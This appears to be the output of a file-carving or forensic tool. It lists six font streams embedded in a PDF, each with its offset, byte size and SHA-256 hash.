font_01_sfnt_off0000e282.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xE282 71216 bytes
SHA-256: b661c2e877dd6b7625208ae148d736aedb24eda2d4f014262cbb7f958f538ca0
font_02_sfnt_off0001b2dd.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1B2DD 11156 bytes
SHA-256: 8b62f203a4ab5c2ac76368029c584b4fa12fffc17f3b6e4e43a9997416807d21
font_03_sfnt_off0001d28e.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1D28E 37232 bytes
SHA-256: d375c22ace40f0b973d7308d85023b2e0e49d40dc51da45552d116868346475e
font_04_sfnt_off000240e5.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x240E5 46764 bytes
SHA-256: afeb9e1e920aae3aca3f295f1bbccba46b16423dac14b1b5fde4b661de9198cc
font_05_sfnt_off0002c960.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2C960 22628 bytes
SHA-256: 95592346b00d039686aa3d7e22eae3d52b011e7e842a5c123f73e89ea766cd35
font_06_sfnt_off00038a0b.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x38A0B 32640 bytes
SHA-256: 6cf6df6beee88aa138f821122d0c1969b348cebe09cafe5b5f6a7eb8c27107a0